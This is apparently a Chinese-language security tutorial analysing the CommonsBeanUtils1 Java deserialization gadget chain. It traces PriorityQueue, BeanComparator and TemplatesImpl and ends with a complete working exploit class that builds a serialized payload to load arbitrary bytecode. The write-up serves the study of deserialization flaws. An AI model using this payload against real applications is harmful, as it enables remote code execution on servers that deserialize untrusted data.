CommonsBeanUtils1反序列化分析
cb链子
0x01 CommonsBeanUtils介绍
Apache Commons 工具集下除了collections
以外还有BeanUtils
,它主要用于操控JavaBean
。
- 以 Utils 结尾,一般这都是一个工具类/集
先说说 JavaBean 的这个概念
这里指的就是实体类的 get,set 方法,其实在 IDEA 当中用 Lombok 插件就可以替换 JavaBean。
CommonsBeanUtils 这个包也可以操作 JavaBean,举例如下:
比如一个Baby类是一个简单的JavaBean的类,那么它一定满足如下几个要求:
- JavaBean 类必须是一个公共类,并将其访问属性设置为 public ,如: public class Baby
- JavaBean 类必须有一个空的构造函数:类中必须有一个不带参数的公用构造器,例如:public Baby()
- 一个javaBean类不应有公共实例变量,类变量都为private ,如: private String name;
- javaBean属性是具有getter/setter方法的成员变量。也可以只提供getter方法,这样的属性叫只读属性;也可以只提供setter方法,这样的属性叫只写属性; 如果属性类型为boolean类型,那么读方法的格式可以是get或is。例如名为abc的boolean类型的属性,它的读方法可以是getAbc(),也可以是isAbc();
一般JavaBean属性以小写字母开头,驼峰命名格式,相应的 getter/setter 方法是 get/set 接上首字母大写的属性名。例如:属性名为userName,其对应的getter/setter 方法是 getUserName/setUserName。
举个例子:
public class Baby {
private String name = "Drunkbaby";
public String getName(){
return name;
}
public void setName (String name) {
this.name = name;
}
}
这里有两个简单的getter和setter方法,如果用@Lombok
的注解也是同样的,使用@Lombok
的注解不需要写 getter setter。
Commons-BeanUtils 中提供了一个静态方法
PropertyUtils.getProperty
,让使用者可以直接调用任意 JavaBean 的 getter 方法,示例如下:
import org.apache.commons.beanutils.PropertyUtils;
public class babytest {
public static void main(String[] args) throws Exception{
System.out.println(PropertyUtils.getProperty(new Baby(),"name"));
}
}
0x02 CommonsBeanUtils1 链子分析
上我们的经典CC图,并且画出非cc链子的部分
1.链子尾部
链子尾部肯定是要通过TemplatesImpl字节码的方式进行攻击的,从上面图片我们可以看出来
回顾一下TemplatesImpl的过程
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()
链子的最开头有一个TemplatesImpl.getOutputProperties(),正好她是满足getter方法的,并且作用域是public,所以我们是可以通过CommonsBeanUtils总的PropertyUtils.getProperty()方式获取
2.链子中间
所以链子进行到了PropertyUtils.getProperty(),我们就需要去找哪个地方调用了同名的getProperty()方法呗,反正最后要走到readObject里面
这里我们通过find usages找到了一个BeanComparator
类,他的compare方法里面如果传入property不为空,则对两个对象进行“取值比较”吧,理解的话就是比较器会看俩人有没有指定比较的东西,没有就直接比较对象,有的话就取对应的东西比较
3.链子开头
如果对cc比较熟悉的话,或者直接看下面的这个图 我们可以发现我们之前在cc2、cc4的部分有过关于comparator同名函数然后往后走的链子,当时用的是TransformingComparator
当然这个是Commons Collections和Commons Collections4都有的,当时我们用的是四的,那么这里的话我们是不是可以考虑把TransformingComparator
替换成BeanComparator
然后街上前面的就成了
0x03 EXP编写
首先给出一个调用链
- PriorityQueue.readObject()
- PriorityQueue.heapify()
- PriorityQueue.siftDown()
- PriorityQueue.siftDown()
- PriorityQueue.siftDownUsingComparator()
- BeanComparator.compare()
- PropertyUtils.getProperty()
- TemplatesImpl.getOutputProperties()
- TemplatesImpl.newTransformer()
- TemplatesImpl.getTransletInstance()
- TemplatesImpl.defineTransletClasses()
- TransletClassLoader#defineClass()
EXP:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class cbtest1 {
public static void main(String[] args) throws Exception {
//TemplatesImpl动态加载字节码
byte[] code = Files.readAllBytes(Paths.get("E:\\java\\cc1\\target\\classes\\exec.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "wahaha");
final BeanComparator comparator = new BeanComparator("outputProperties",new AttrCompare());
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(obj);
priorityQueue.add(2);
setFieldValue(priorityQueue,"comparator",comparator);
serialize(priorityQueue);
unserialize("serzsd.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serzsd.bin"));
oos.writeObject(obj);
}
//反序列化数据
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
运行结果:
参考资料: